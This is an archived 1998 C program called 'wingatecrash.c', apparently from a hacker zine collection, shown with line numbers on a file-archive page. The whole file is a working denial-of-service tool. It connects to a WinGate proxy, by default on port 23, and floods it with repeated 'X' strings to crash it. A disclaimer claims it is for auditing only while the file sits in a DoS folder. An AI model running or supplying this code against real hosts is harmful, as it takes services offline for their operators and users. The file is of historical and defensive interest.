home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / wingatecrash.c < prev    next >
Text File  |  1999-01-01  |  2KB  |  62 lines

  1. /* Blah, blah, blah, I am not liable for anything this program
  2.    does, or what anyone does with it.  THIS PROGRAM COMES WITH
  3.    NO WARRANTY, AND THE AUTHOR IS IN NO EVENT LIABLE FOR ANYTHING
  4.    THAT HAPPENS WITH IT, INCLUDING IF IT SCREWS YOUR SYSTEM, OR
  5.    SOMEONE USES IT TO SCREW YOUR SYSTEM, OR YOU GET IN TROUBLE
  6.    FOR SCREWING SOMEONE'S SYSTEM.  This program is for auditing
  7.    your own system only, not for DoS attacks. I am not liable
  8.    for anything you or anyone else does with this program.  This
  9.    program is for auditing and informational purposes only!
  10. */
  11. /* Feel free to modify this shit, but give me credit.
  12.  
  13.    11/14/1998 holobyte
  14.    holobyte@holobyte.org
  15. */
  16. /* Based on the bugtraq release by g23@usa.net */
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <stdio.h>
  20. #include <netdb.h>
  21. #include <unistd.h>
  22. #include <netinet/in.h>
  23.  
  24. main (int argc, char *argv[]) {
  25.     int sockfd;
  26.     struct sockaddr_in staddr;
  27.     int port;
  28.     struct hostent *tmp_host;
  29.     unsigned long int addr;
  30.     int connfd;
  31.     int i;
  32.  
  33.     printf("Wingate crasher by holobyte <holobyte@holobyte.org>\n\n");
  34.     if (argc != 2 && argc != 3) { printf("Usage: %s <wingate> [port(defualt=23)]\n",argv[0]); exit(1); }
  35.     if (argc == 2) { port=23; } else { port=atoi(argv[2]); }
  36.     if (!(port > 0 && port < 65536)) { printf("Invalid port\n"); exit(2); }
  37.     /* If this returns -1 we'll try to look it up.  I don't assume anyone will be putting
  38.     in 255.255.255.255, so I'll go with inet_addr() */
  39.     bzero(&staddr,sizeof(staddr));
  40.     if ((staddr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
  41.         tmp_host = gethostbyname(argv[1]);
  42.         if (tmp_host == NULL) { printf("Could not get valid addr info on %s: tmp_host\n",argv[1]); exit(7);} else {
  43.             memcpy((caddr_t *)&staddr.sin_addr.s_addr,tmp_host->h_addr,tmp_host->h_length);
  44.             if (staddr.sin_addr.s_addr == -1) { printf("Could not valid addr info on %s: addr -1\n",argv[1]); exit(8); }
  45.         }
  46.     }
  47.     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("Socket"); exit(3); }
  48.     staddr.sin_family = AF_INET;
  49.     staddr.sin_port = htons(port);
  50.     if (connect(sockfd, (struct sockaddr *) &staddr, sizeof(staddr)) < 0) { perror("Connect"); exit(4); }
  51.     printf("Connected... Crashing");
  52.     for (i=0;i<100;i++) {
  53.         if ((write(sockfd,"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",44)) < 0) { perror("Write"); exit(5); }
  54.         putc('.',stdout);
  55.         fflush(stdout);
  56.     }
  57.     if (write(sockfd,"\n",1) < 0) { perror("Final Write"); exit(6); }
  58.     putc('\n',stdout);
  59.     fflush(stdout);
  60.     close(sockfd);
  61. }
  62.